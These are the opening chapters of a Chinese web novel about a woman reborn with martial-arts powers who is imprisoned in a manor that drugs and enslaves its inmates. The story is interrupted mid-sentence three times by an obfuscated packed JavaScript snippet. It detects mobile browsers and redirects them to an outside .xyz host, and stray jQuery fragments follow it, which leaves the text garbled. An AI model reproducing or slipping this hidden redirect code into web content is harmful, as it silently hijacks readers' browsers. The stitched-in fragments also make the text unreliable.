《杀手锏是怎样练成的》
1. 何以此身难分明
直到被勾魂使带入冥界,戚江雪才反应过来自己确实是死了。
“对不起,戚江雪小姐。刚刚登记官没有查到信息,我们才发现你本来还有60年阳寿。”
戚江雪愣愣地看着眼前面部被打了马赛克的黑袍男子,思维有些迟缓。
“你是说,我其实命不该绝?”
“是的。”
“那我可以回去吗?”
“对不起,离魂时间过长,你在那个世界已经被判定死亡。热搜都开始为你点蜡烛了。”
“哦。”戚江雪垂下眉眼,虽然没想过这么早死,但作为孤儿她其实也没什么牵挂。
“这是我们的失误,理应对你进行补偿。虽不能回到原来的世界,但我们会在其他时空中选择合适的躯体供你重新使用。而且你是因见义勇为才失去生命,可以选择一件功德奖励随身带走。”
马赛克男子公事公办地说完,将全息屏打开。
表格里密密麻麻的名称看得戚江雪头晕目眩,无意扫到了一项“武学·绝技”,她连忙用手指了指。“谢谢,就选这个吧。”
戚江雪回想起自己为救那个女孩被抢劫犯连捅了三刀,如果她身手不凡也许一切都不同了,她可以在保护自己的同时也帮助别人。
马赛克男子操作了一番。
“好的,已为你装备。目标躯体接近生命尾声,请准备穿越重生。”
“等等。我要穿到哪去,对方是谁?我之后有问题还能见到你吗?”戚江雪着急问道。
“你去了便知。再见到我,就是你真正死亡的时候。”
马赛克男子刚刚说完,戚江雪就觉得自己被一只看不见的手拎起来,扔向了虚空中出现的黑洞。
一缕碧烟被点金狻猊从口中吐出,袅袅消散,兽炉餍足般陷入沉眠。
戚江雪倏然醒来。
抬眼便看见床榻前画着山水鸟鱼的四折屏风。戚江雪心中一紧,感知到屋内并无其他人后,才缓缓起身。
后脑隐隐作痛,伴随着长睡过后的沉闷。
没有原身的记忆,不知她是什么身份,也不确定这是何处居所。屋内门窗紧闭,虽有阳光从窗棂缝隙泄入,却依然有些昏暗。
枕边有一支赤玉簪,红艳如锦,簪首是朵盛放的山茶花。戚江雪拿起簪子,玉质温润,簪身上刻着一行小字。“熙平十一年笄礼,赠江雪。”
看来原身和自己同名。熙平十一年,戚江雪搜索着脑海中的历史知识,这似乎是绥朝英宗的年号。
这一穿越就穿到了1400年前,跨度是真大。
戚江雪将披散的长发随意用玉簪挽起,然后开始研究自醒来就跳动在脑海中的信息。
“功德奖励:顶级武学天赋。附带绝技:‘杀手锏’。”
“你的功力初始值为武林高手水平,可继续提升,上限未知。”
戚江雪想深入了解“杀手锏”的信息,然而脑海中冒出一行字:“未到使用时机。”
看来现在也没有更多信息了。
戚江雪尝试打坐运功,身体很自然地进入了状态。
真气澎湃绵长,缓缓在体内大周天游走。所过之处,浊气被荡涤一空,每个毛孔都透出勃勃生机。她睁眼起身,只觉轻盈如燕,五感也比过去更加敏锐。
戚江雪走到对面的铜镜前仔细观察,原身和她无论是长相还是身形都一模一样,怪不得她从一开始就不觉得有丝毫违和感。这会不会就是一千多年前的自己呢?
想到这里她又有些悲伤。原身和她一样,死在了十八岁。既然她已经穿越过来,那就带着两个人的生命重量好好活下去吧。
空气中还浮留着少许辨别不出的气味。
戚江雪走近长案上蹲伏的狻猊,里面香灰早已冷却。
“放我出去!我要见阿爹阿娘!”
一声突如其来的尖叫打破了沉寂,她连忙走了出去。
外面是一处空阔的大宅院。东西两侧排列着数不清的厢房,她的房间在西侧角落。
“我不信,爹娘不会把我一个人丢在这里的。”
倒在院中的是一个双十年华的闺阁女子,刚刚的尖叫让她现在的声音变得有气无力。她身前站着两个十三四岁的侍童。
其中一个下巴尖些的满脸不耐。“他们亲自把你送进来的,要我们看好你。若是再闹,我就不客气了。”
女子抽噎着拉住另一个圆脸少年的衣角,“我根本没有疯,你们为什么不信?这位小哥,求求你放我出去,或是叫我见庄主也行。”
圆脸有些为难地扯着自己的衣角,尖下巴却不假辞色道:“庄主岂是你想见便能见的?温良,把她拖进去。”
温良犹豫着,“她是官家娘子,也没有功夫,不好太粗暴吧。”
“什么官家良家。”尖下巴一脸不屑,“来了这便都是幽人,别忘了莫管事是怎么交待的。”
温良听闻此话,与尖下巴一起抓住女子的胳膊,将她拽了起来。
女子绝望中突然爆发出力气,将二人的胳膊甩开,拼命向前跑去。
尖下巴愤怒地从腰间抽出了一条软鞭,一鞭子抽了过去,女子立时倒在地上。他犹不解气,还要再抽,只听一声怒喝——
“住手!”
尖下巴用力拉扯,然而软鞭另一头被戚江雪攥在手里,纹丝不动。
戚江雪本不想惹人注目,但实在是看不下去了。
“幽人,你干什么!”尖下巴气地咬牙切齿。
戚江雪看了一眼已经昏迷的女子,冷冷道:“我不知你在叫谁。也不知这女子犯了什么错。你小小年纪戾气却这么重!一鞭下去就把她打成这样,再来一次她还有命活吗?”
她松开手,尖下巴连忙把鞭子收了回来。
“好个幽人,不就是看我和温良好欺负才不服管教。若是落在管事和掌教手上,她可比现在惨多了,你还有胆子出头?”
戚江雪扯了扯嘴角,“我倒没那么欺软怕硬。这女子状况很差,你们想让她在这咽气?”
温良拉住尖下巴。“温俭,赶紧将她带走便罢了,若真死了,你我也要遭殃。”
温俭忿忿瞪了戚江雪一眼,到底没再说什么。两人将女子架起,送到了西侧靠后的一间厢房里。
没过多久,温俭从房中出来向院外走去。戚江雪想了想,走进了他们刚刚进去的房间。
这屋子和她的房间构造一样,此刻那女子在床上昏迷着,而温良则在往长案上的兽炉里添香,正是她之前在屋里闻过的味道。
戚江雪悄悄上前,纤细的手指抵上了温良的前颈。
“别动。也别乱叫。”戚江雪在温良耳边低语。温良点了点头,虽然诧异,倒也不算太惊慌。
“现在是何年份?”
“熙平十四年。”
与自己推断的一样。“这里是什么地方?”戚江雪又问。
温良咳嗽了两声道:“清晏山庄。你现在住在尚善别院,我是别院的侍童。”
戚江雪皱了皱眉,问:“我是如何到这里的?”
“自是被人送进来的。你们这样的人只有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889323|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来这里才能活着。”温良平静地回答。
戚江雪疑惑道:“谁送我进来的?你知道我是谁吗?”
温良摇了摇头。“这只有庄主和管事才知道。进来了这里就都是幽人,从前的身份也不重要了。”
看来温良知道的信息也不多。
“你刚刚点的是什么香?”
温良眼睛向右看了看答道,“是安神养心的香。”
戚江雪冷笑一声,缓缓将手指收紧。“你在撒谎。这女子会不会有危险?”
温良的脸因为呼吸不畅憋得通红,他用力扳着戚江雪的手指,然而毫无作用。眼见他快要窒息,戚江雪松了松手指。
温良剧烈喘息了片刻,才心有余悸地说:“不会的。这是山庄特制的合香‘定风波’。对普通人来说可以助眠,但若习武者闻之,不出十二时辰便会丧失功力。”
针对习武之人,那这里可不能久留。
“我要离开。”
温良的声音有些颤抖。“我做不了主。须得找管事。”
“要做什么主!我难道是犯人不成?”
温良看出戚江雪的不耐,安抚道:“送你来是为了你好,进来了是不能随意出去的。山庄很大,仅是尚善别院一处的地形就很复杂,擅自行动可能会触发机关。”
温良应该没有说谎。贸然出去也不认得路,还不如看看他们到底要如何。
戚江雪放开了温良。“带路吧,我跟你一起去。”
温良带着戚江雪一路穿廊而过,又经过一处宅院。
七个穿青灰色长袍的男子在院中玩鹰捉小鸡,两个侍童站在不远处看着。
这不是小孩子才玩的游戏吗?
看着戚江雪经过,几人突然停了下来,齐齐注视着她,弯腰行礼——“盟主好。盟主功德无量。”
戚江雪愣住了。
这些人看着她的样子哈哈大笑了起来。明明都是中年人,眼神却如孩童一般。
戚江雪又看了看两边。有些房门敞开着,还有些门窗紧闭,其中隐隐飘出呜咽或怪笑之声。
她难道也是被当成疯子才来了这里?戚江雪心中惊疑,但面上不动声色。
正思索间,一个嘶哑的声音突然在耳边响起:“我认得你!”
戚江雪一惊,连忙回头。
这是一个三十多岁的男子,身上的青灰长袍很脏,长发乱蓬蓬打着结,可一双眼睛却透出慑的人光亮。
戚江雪谨慎地退了两步,问:“阁下知道我是谁?”
男子瞪大眼睛盯着她,声音又压低了几许,“你是异族奸细。”
戚江雪的眉眼和长发皆是烟灰色,比一般人浅淡许多,肤色也更为白皙,被当成异族情有可原。但奸细又是从何说起?
“她是双面间。本就是我朝派出去执行任务的,大人们知晓她的真实身份。”
温良见怪不怪地对男子说:“此处人多眼杂,莫要将她暴露了。你的功劳大人不会忘。放心吧。”
男子嘿嘿一笑,对戚江雪比了个噤声的手势,心满意足地离开了。
温良看了一眼男子,对戚江雪说,“都有癔症,不过在尚善别院的疯得不算厉害。”
戚江雪心里沉了沉。
温良带着心事重重的戚江雪穿过水榭,来到一处像是书院的区域。主屋是双层歇山楼阁,右侧则是一座工字型房屋,门匾上写着“中正安舒”四个大字,应该是书房。
正中有一池塘,水波不兴,徒留几株残荷听雨。
温良上前敲了敲书房的门。
2. 谁念幽寒坐呜呃
开门的是温俭,他看见温良先是一怔,“现在才酉时,还不到汇报的时候,你怎么来了。”看见戚江雪后脸色难看起来。
“还带着这个幽人。”
温良叹了口气,“她要出去,我只能带她来见莫管事。”
温俭看着戚江雪一脸幸灾乐祸。“莫管事现在心情不好……”
话音刚落,温俭被撞了个趔趄,一女子从屋里跑了出来。然而刚出门没几步,女子便跌倒在地,眼睛翻白,浑身抽搐。
羊角风?还是中毒?戚江雪刚要去看,温良拉住了她。“她没按时服解药,开始发病了,别过去。”
此时一个满脸阴鸷的中年男子从屋内走出。
温良连忙低头行礼。“见过莫管事。”莫管事无视温良,转头对温俭道:“去把里面那个药人也拖出来,不要弄脏了我的地方。”
为何女子在这里会被如此对待?戚江雪心中愤怒,直视莫管事问道:“解药在哪儿?”
莫管事冷哼一声。“你是什么东西,敢质问我?没完成任务的药人,死便死了。”
岂有此理!戚江雪只觉怒气上头,飞身攻了过去。
莫管事大吃一惊,连忙应战,然而不到二十回合便败下阵来。
使出脑海中跳出的各个招式就像活动手脚一样简单自然,戚江雪一个分筋错骨手卸了莫管事的胳膊,将他踹倒在地。
本想借此机会试试自己这个“武林高手”能到何种程度,但此人作为对手实力太弱。
此时温俭刚拖着一个二十岁左右的药人男子从屋里出来,见此情景呆在了原地。
莫管事下巴贴地,大声质问温良:“这是什么怪种?武功怎么还在!”
温良战战兢兢道:“我,我也不知。”
“小畜生,还不快去找主院管事!等着看我的笑话吗?”
温良和温俭闻言飞速跑了出去,戚江雪冷冷看着,并未阻拦。
先前的药人女子已经没了气息,年轻男子倒还活着,只是出气多进气少。
戚江雪用力踩住莫管事的肩胛,莫管事痛得大叫起来。
“我再问一遍,解药呢?继续浪费时间,等不到帮手来,我就会让你死在这个药人前面。”
戚江雪的声音仿佛淬了冰。
“……在我身上。”莫管事受到威胁,声音颤抖。
戚江雪从莫管事身上摸出一个小瓷瓶,里面大概有四五粒指尖大小的黑色药丸。她倒出一颗,先塞进了莫管事嘴里。
“咳咳咳……”莫管事边咳边喊,“没骗你,我又不是药人,这药对我没用!你这是浪费!”
戚江雪快步走到男子旁边,给他喂了一颗药。男子瞬间醒过来,神态气息与常人无异。
这恢复也太快了?
男子看着戚江雪笑了笑,低声说:“多谢姑娘。”
声音很是清朗,湛然若星的眼睛在这张平平无奇的脸上显得有些违和。戚江雪移开了目光,轻声问:“之后他们会放过你吗?”
“不会。所以我得赶紧走了。”
男子迅速起身,对戚江雪眨了眨眼,在她还没反应过来时,翻身跳上房檐,随后消失不见。
“狂妄之徒!居然把药人放走,你这是害了他。等着被罚吧……”
莫管事一边挣扎着站起,一边骂骂咧咧,戚江雪没有理他。
那男子应当不是药人,所以也不关心解药。只是他为什么要装作被控制了呢?这山庄很是古怪,她也不能在此久留。
戚江雪刚跳上二层高的檐顶,还没看清四周,耳侧突然有劲风袭来。
身体仿佛曾遇过千百次这样的情景,自发动了起来,转身迎上,与来袭之人对了一掌。
风卷流云,引雷霆滚滚。这一掌,势均力敌。
借着后空翻卸力,戚江雪云淡风轻地落到地面,看向对面的人。
老者须发皆白,目光炯炯。
“邱老,没想到这幽人不受‘定风波’影响,我一时大意才遭暗算。”莫管事看见老者,连忙忍痛跑到他身后。
邱老“咔嚓”两下将他的关节复位。“此幽人的功力同我都难分伯仲,你又怎会是她的对手?莫瑞谦,你作为别院管事竟如此疏忽,理当反省。”
莫瑞谦又是惊疑又觉得委屈。
但凡被“定风波”熏上几个时辰,就是江湖上闻名的高手也得筋骨酸软,功力退尽。谁想这个看上去文弱纤秀的女子,在香里昏迷了一天不但武功没有受损,竟还有如此实力。早知道就该对她多上些手段。
“我有名有姓,为何一直要唤我幽人?”戚江雪直觉这称呼带有冒犯之意。
邱老摸了摸胡须道:“幽人是因疯癫被幽禁之人,是世间难容之人。你既来了这里,原本的姓名已不重要了。”
“哼,要不是庄主吩咐过,我必将你做成药人。”莫瑞谦面露怨毒之色,显然之前的事让他记了仇。
戚江雪瞪了莫瑞谦一眼,向邱老抱拳作揖。“晚辈无意与贵山庄结怨,只是见不得草菅人命。况且我不知自己为何在这里,可否让我见庄主。”
邱老看向戚江雪,目光复杂。
“戚姑娘,凭你所犯的罪孽,除了清晏山庄无处能容你。若不是送你进来那人还念着血脉亲情,你早就没命了。庄主受人所托,让你在此安身,他是不会见你的。你应感念庄主的好生之德,莫要再生事端。”
戚江雪皱了皱眉,问:“我犯了什么罪?”
莫瑞谦冷笑一声。“来这的人都不会承认罪过。疯子说自己没疯,有病的也觉得自己没病。我们见过太多,你装也没用。”
看来只要进了清晏山庄就会被当成疯子和罪人对待,他们对前因后果并不关心。
三言两语便定了她的罪,戚江雪只觉讽刺。
“照你们所说,官门府衙还有武林公会都不能判我的罪,只有你们清晏山庄才能主持公道?可我看你们对药人的所作所为,绝非良善之辈。我是不会留在这里的。”
邱老严肃地看了一眼莫瑞谦,随即道:“进了清晏山庄就不得再出去为祸世间。山庄自有规矩,违者便会受罚。山庄亦是公道,来此就要认罪。”
他轻轻一摆手,六个拿剑的侍童组成阵型,将戚江雪围了起来。
“以多欺少?看你们老的老小的小,我不与你们纠缠。”戚江雪说罢,一脚蹬上身后的大石,向外飞掠而去。
高手过招,瞬间便能知己知彼,和邱老对上她占不到什么便宜。此时缠斗并非上策,还是先跑为妙。
“留下!”只听
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889324|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一声邱老呼喝,众人一齐追上。与此同时,“轰隆隆”的声音响起,整个地面都震颤了起来。
数十座假山以令人眼花的速度变换移动,将戚江雪的每一处去路封死。山石从中间裂开,无数短箭射向了她,戚江雪只能不断闪避。
随着假山的移位,六个武侍童时而隐匿,时而从山石后飞出,角度刁钻,配合默契。没有武器,又下不了杀手,戚江雪的防守渐渐有些狼狈。她被缠得烦躁不已,不由又想到了“杀手锏”。
然而脑海中浮现出了一行信息:
“此技一出必要见血。你无一击必杀之决意,无舍身必死之决心,无法出招。”
谁家好人上来就要同归于尽啊?戚江雪郁结了。
稍一分神,后背便被击中。仿佛整座山岳向她倾轧过来,戚江雪瞬间跪倒在地,喉头泛起一阵腥甜,她强行忍住。
机关停止,邱老飞速将戚江雪身上几处大穴封住,让她动弹不得。
莫瑞谦看着戚江雪又是愤恨,又带着犹豫。“‘定风波’对她没用,不能再将她关进尚善别院了吧?”
邱老沉吟道:“先送去消业池。任她是谁,在那都得一身干净的出来。之后再作处理。”
“全凭邱老作主。多谢您今天出手相助,”
莫瑞谦说罢似乎要报复戚江雪之前对他的所作所为,一脚踢向她。随后阴恻恻道:“你们几个,把她弄到消业池去。”
戚江雪此时再也支撑不住,眼前一黑,倒了下去。
强烈的腥臭味钻入鼻腔。
戚江雪睁开眼,发现自己浸泡在漆黑如墨的水中。
黏腻、浓稠、温热,黑水一直淹到了胸口。
没有烛火,一切却依然清晰可见。月色倾倒下来,铺满整个露天大殿,粼粼波光跳跃在中间的墨黑水池中,宛如银灯。
忍住强烈的呕吐欲,戚江雪动了动,手腕沉甸甸的。
铁链从大殿东西两侧的红柱分别延伸到她被锁住的双手。其中一条扯着她的左手腕,另一条则还有一大截沉在池子里,发出“丁零当啷”的声响。水池是正方形,目测长度约有20米。戚江雪从倚靠的池边开始,缓缓在水中行走,到对面的池边时,右手腕上的铁链绷直了。
戚江雪摸了摸头上的簪子,随即便放下手。用玉簪撬铁链,无异于以卵击石。这铁链比她的手腕还粗,用内力也是无法震开的。
她被限制在这个池子里。
这恶心的池水不知道是什么制成的,不愿意细想,戚江雪只能转移思路。之前被压下的念头纷纷跑了出来。
被血亲送进来,世所不容的罪孽,本就该死……这些话语织成了一张网,牢牢裹住她,连呼吸都被坠着下沉。
亲人把原身送到了这里,显然是放弃她了,一个闺中少女能犯多大的错?
虽然保全了性命,可是自由成了奢望。她没有疯,又怎能以清醒之心赎不可知的罪?
值得高兴的是,她的武功还在,与之前相比并无变化。
看邱老他们那么笃定,她开始也担心会不会被废去功力,现在看来她身上的武学功夫并不会受到这个层面的影响。
他们把她丢进这里,多久会来转移?到时又当如何?戚江雪的思绪漂远,渐渐迷离起来。
3. 別思暗涌月华间
几声音节短促的竹笛吹奏传进了戚江雪的耳朵,她立即警醒起来。
没过多久,八九个人影从前方闪进了大殿,向着池中走来。戚江雪借着月光看清了来人。
不,这些并不能叫人,或者说不算是活人。他们面容发青,瞳孔泛着一种诡异的深蓝色,浑身布满紫红的斑块,有几个皮肤都已经溃烂了。戚江雪第一时间想到的是在后世影视剧里看到过的丧尸。
比起害怕,戚江雪更多的是想吐。清晏山庄还有多少腌臜事是她不知道的,做药人不算,还弄出这些不人不鬼的东西。
竹笛又吹了几声,不成曲调。
“噗通……”接着又是连续不断的入水声。行尸接二连三沉入水中,很快便无声息。水面一片漆黑,连波纹的弧度都微不可见。
下一秒,一个人影从戚江雪面前的水中钻了出来,双手直直伸出抓向她的脖子。戚江雪抬手横劈,行尸没有闪避,径直磕到池边然后不动了。
前后左右的行尸都从水中站了起来,开始攻击戚江雪。好在这种攻击虽然力大,威胁却不强,被她轻而易举化解。
行尸一个个被扔到池边,像是最后一口气被耗尽了,再也没有动弹。
结束了吗?
突然,双腿被一股大力拉扯,戚江雪猝不及防,仰面跌入水中。
先是惊慌,紧接着便被愤怒淹没。恶心。太恶心了!她虽然立马屏住了呼吸,但鼻腔里还是不可避免地呛到了脏水。她极力想要站起,然而偷袭之人狠狠将她按在水里,显然是要她溺毙而亡。
后脑脉搏跳动得仿佛下一秒就要炸了她的脑子,杀意喷涌而出。
戚江雪抓住右手腕上的锁链,用力一拉,借着铁链绷直牵扯的力量稳住重心。她抬起左手将沉在水中的铁链猛力甩向偷袭者,对方似被抽中,因痛松开了手。她紧接着一脚踢出,藏在水中的人飞出好几米远,溅起巨大的水花。不等罪魁祸首站稳,戚江雪又借浮力轻点两下,追上去用双腿牢牢绞住对方的脖子,将其按入水中。
水面翻滚,那人在极力挣扎,但戚江雪的腿越收越紧,直到水面安静下来。她此时双眼已经蒙雾,模糊不清。
“他死了……”
似乎有人在她耳边说着什么,听不清楚。
水花泼溅在她脸上。戚江雪一惊,放松了力道,眼神渐渐清明起来。
莫瑞谦双目圆睁,脸已扭曲变形,成为一具漂浮的尸体。
她杀人了。
杀意退去,只剩空虚。作为一个曾生活在法治社会的人,戚江雪的第一反应是不知所措。
“冒犯了姑娘,请见谅。看你刚刚似乎有些魔怔,就用水泼了你。”
戚江雪看向池岸,那里站着一个陌生男子。
是之前那个假冒药人的声音,只不过现在换了另一张脸。但一样平平无奇,一样有一双粲然的眼。
“你是谁?”戚江雪开口问道,声音有些沙哑。不等男子回答,她又扯了扯嘴角说:“算了,你不以真面目示人,问你也没意义。你也是来这杀我的?”
男子坐到池边,笑了笑。“姑娘其实知道我并没有敌意吧。在下姓楼名煊,为混进来确实易了容。”
“你不是走了吗,为什么又回来?还跟着莫瑞谦?”戚江雪问,目光中带着审视。
楼煊有些无奈道:“我来这是为了救人,可根本找不到他被关在哪。看到莫瑞谦偷偷摸摸行踪诡异就跟了过来,然后见证了什么是多行不义必自毙。”
说话间楼煊也在观察戚江雪。
少女肩膀以下都浸在水中。造物主在描画她时似乎墨将用尽,她的眉眼与长发皆是烟灰色,清丽的瓜子脸此时格外苍白,看上去像某种鬼魅精怪,带着冰雪般的疏离与清透。
戚江雪淡淡说道:“之前救你时我便发现你的功力十分浅薄,如何有把握救人?”
楼煊摇了摇头。“在下师承凌鸢阁,以机关锻造之术见长。至于功夫确实只会些基础拳脚,也就比普通人敏捷那么一星半点。但我要救之人十分重要,不得不冒险。我易容成药人,又掌握了清晏山庄的地形图,也许能找到可乘之机。”
戚江雪听到了关键。“擅长机关锻造之术?那你能解了这里的机关吗?”
楼煊道:“那自是不难。可我探遍山庄,也没有找到其他关押之处,或许这里还有地下牢房与密道。他们应该很快就会来把你带走,不知接下来又会关到何处。”
“要废人武功,挑筋断脉即可。又是熏香又是泡水,岂不麻烦?”戚江雪不解。
楼煊面露嘲讽。“若伤筋断骨就会变成废人,还怎么供他们驱使?中了‘定风波’几乎都会失去功夫,更别说吞噬内力让人神经麻痹的“消业池”,稍弱一点的人直接死在这也是正常的。你是我知道的唯一例外。”
按照楼煊所说,莫瑞谦今晚来应该是为私怨,所以不想被人发现。他以为自己已经是废人,杀了她之后再装作她是因为承受不住自己死在了消业池,也无人会知晓。可惜没想到会死在她手上,更没想到楼煊悄悄跟了过来。
戚江雪想了想,当务之急还是要把这里处理了。
“现在我已经杀了莫瑞谦,之后怕是不能善了。除非,你能帮我。”戚江雪看向楼煊,目光平静,似乎并不在意他的答案。
楼煊笑了起来,双眼眯成弯弯的月牙。
“我武功太弱顶不上用。相信凭姑娘你的实力不需要我帮忙也一定可以化险为夷。”
戚江雪也笑了起来,楼煊突然觉得有些不妙。
“山庄知道有个药人跑了,这药人还跟莫瑞谦有怨。如果我把他的死推到你身上,其实也说的过去。再者,若我告诉他们你是易容进来救人的,你就算跑了,之后也别想再达到目的。”
楼煊有些无奈:“我只是误入这里,又没惹你,何必非要拉我下水。”
“人总要为自己的好奇付出代价。你看到我杀人,我们就是同谋了。我还救过你,你隔岸观火的态度让我很不高兴,我决定不能让你置身事外。”戚江雪说得轻描淡写,似乎对自己的决定很满意。
“……”楼煊看了看四周,“我会把莫瑞谦的尸体带走,做成被机关误杀的样子。只是这些尸人有些难处理。”
戚江雪问:“你说被我扔上岸的这些叫尸人?他们是被尸体做成的?”
“清晏山庄看管着三种人。一种是幽人,多指疯癫避世之人,女子居多。第二种是药人。药人又被分为两种……”楼煊停了下来,似乎在犹豫是否该说这么多。
戚江雪点了点头,示意他继续。关于清晏山庄她还想知道更多,而楼煊的声音如清泉缓流,也让她多了几分耐心。
“一种药人是神智健全的习武男子,因他们身体比常人强健,山庄以犯罪为由挑断他们的筋骨保留内力用来试药。另一种是被选中的孩子,有男有女,从小就被训练作为达官贵人的死士执行各种任务。因自小服药,他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889325|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几乎二十多岁寿命就到头了。”
说到这里,楼煊的语气带上了一种沉痛。“我易容的药人,就已经死了。”
“看来莫瑞谦死的不冤。尸人也是用活人变的?”戚江雪的声音含着冰冷的怒气。
“尸人大多是试药失败的药人,被蛊控制,变成了毫无意识的活死人供他们驱使。这里的几个应该是已经死了的,被莫瑞谦重新利用。”
戚江雪捞过莫瑞谦的尸体,在他身上搜出了一根竹笛。她模仿之前的莫瑞谦吹出了几个音节,那些尸人依旧一动不动,看来不会再诈尸。连死都不得安生,真是造孽。
她把莫瑞谦的尸体也抛到了岸上,楼煊看到后沉默了。
“只能麻烦你把他们一并带走处理了。”
楼煊苦笑了一下,不再说话。他将所有尸体摆在一起,然后从身上掏出一个鎏金小匣子。
他先从匣中取出一只铜鸟,不知按了什么机关,鸟嘴吐出几根长长的铁线将尸体串在了一起,铁线的一头还在鸟喉中。紧接着楼煊又从匣中取出两个手掌大小的翅膀,分别装在位于两头的尸体肩膀上。按动开关后,翅膀开始自动伸展变形,最后变成了一米多长的铁翼。
戚江雪看得津津有味,“好精巧!你那匣子真是个百宝箱啊。”
楼煊面无表情。“这铁翼本来是给我自己用的。”
“现在看来它还有更大的用处,比你自己一具一具搬出去可方便得多。”戚江雪安慰道。“哦,除了莫瑞谦,这些尸体还是好好安置一下吧,毕竟也是可怜。”
“姑娘可真是菩萨心肠。”楼煊阴阳怪气道。
“你心里是想帮我的吧,不然一开始就不会现身。”戚江雪的语气严肃起来,看着楼煊郑重道:“若我之后能自由行动,一定会帮你找人救人的。”
楼煊被她突然的认真搞得有些不自在,他偏过头轻咳一声道:“还未请教姑娘芳名。”
“戚江雪。”
楼煊挑了挑眉,“倒是很符合你。”
铜鸟飞了起来。机括转动,两扇大铁翼紧跟着也扑扇了几下,将尸体带到了半空中。
“戚姑娘,后会有期了。”
楼煊说完一边指挥铜鸟往前飞,一边向外走去。
“后会有期。前提是别被人发现了。”戚江雪扬声道。
楼煊顿了顿,没有再回头。
月上中天,戚江雪静立在池边,宛若一座雕像。
清晏山庄远比自己想象的更加复杂,真的疯子也就罢了,正常人在这里只会生不如死。她尚且可以自保,那些被废去武功的人又承受了多少?那些被困住的女子又如何能反抗?
侠以武犯禁。当有了绝对的力量后,伤害别人蔑视法度也变得格外容易,清晏山庄便是如此。今天她杀了莫瑞谦可以当作是正当防卫,告诉自己恶人就应当受惩处。但若之后遇到其他人做了她眼中的恶行,她真的能凭借武力去惩罚他们吗?她有这个权力吗?
不过身处这个时代,自己也不能一味被过去的思维所束缚,自以为是的优越感会让人盲目。在这里活着,就要顺应这里的规则。
她其实也算不上多难过,因为即使恢复了自由也无处可去。寂寥人间,只如缥缈孤鸿一般,独往来。两世皆是如此,戚江雪自嘲地笑了笑。
不管怎么说,活着就好。如果可以,她希望能找到原身的身份和过去,帮她做个了结。
而此时能做的,就是见招拆招。
4. 空庭深锁犹难解
脚步声从远处传来。戚江雪睫毛轻颤,已然醒转。经过一夜调整,此时的她做好了应对的准备。鉴于当前状况,不能让任何人发现她并未受消业池的影响。
过了有一会,外面的人才进入大殿。
走在最前面的是邱老,其次是两个中年男子,最后跟着的是两个佩剑侍童。
戚江雪苍白着脸,以一种无力之态倚在池边,眼睛半睁不睁。大概因为她的武学是被直接赋予的,所以内力可以收放自如。如果她不想被察觉,那她此时就是一个全无功夫的普通人。
几人在池边站定。邱老背起双手面色凝重,其余人也沉默着。
邱老紧紧盯着戚江雪看了一阵,见她木然迟钝,似乎对外界失去了感知,才轻轻招了招手。
一个侍童上前拽起地上的铁链,使劲一扯,将戚江雪整个身子都拉得趔趄了一下。戚江雪摇摇晃晃地站稳,却只是双眼失神地看着一池黑水,再不复昨日的精气与神态。
“戚姑娘。”邱老沉沉开口道:“昨夜莫瑞谦可来过这里?”
戚江雪似乎没有听见,低垂着头。站在邱老身后体格健硕,面容黧黑的中年男子忍不住狠狠将戚江雪拉到了池边,一手捏住了她的下巴。
“邱老在问你话,少给老子装聋作哑。”男子声音狠厉,每蹦出一个字都像要变成钉子,把人戳出个洞。
“奉堂,冷静些。在消业池待了一天的人可经不住你折腾。”另一个文士打扮,面容儒雅的中年男子劝道。
“哼。听说她昨日把莫瑞谦按在地上打。一个女娃,嚣张得很!”黑脸男瞪着戚江雪,“姓莫的也是倒了霉。不过邱老,我看她已经是个废人,莫瑞谦又是死于机关弩,你怕是多虑了。”
邱老一掌将黑脸男轻轻拨开,探向戚江雪的手腕,又在蝴蝶骨等处用力按了按。戚江雪始终像是毫无知觉一样。
良久,邱老才抚着白须,放缓了脸色。
“确实已无内力。身形单薄,虎口无茧,看着也不像是习过武的。昨天被她的架势给唬住了,原不足为惧。”
“你昨夜真的没见过莫瑞谦?”邱老注视着戚江雪的眼睛。
戚江雪嘴唇动了动,却发不出声音,只缓缓摇头。
“哎,也怪瑞谦平日行事太过张扬。我早说过他怕是要吃亏,果然就着了。命也。”中年文士感慨一番,语气中却并无多少惋惜。
邱老吩咐两个侍童:“把她送到幽人馆去吧。”随后便转身向外走去,边走边说:“文启,这段时日便由你来代管尚善别院吧。”
被唤作文启的文士点头称是。就在要离开的瞬间,他突然回首,一掌向戚江雪推来。
气冲面门,戚江雪强行克制住自己想要躲闪的本能,像是根本没有察觉一样,硬生生受了这一掌。她倒退着跌入池中,溅起水花一片,侍童连忙将她捞了起来。
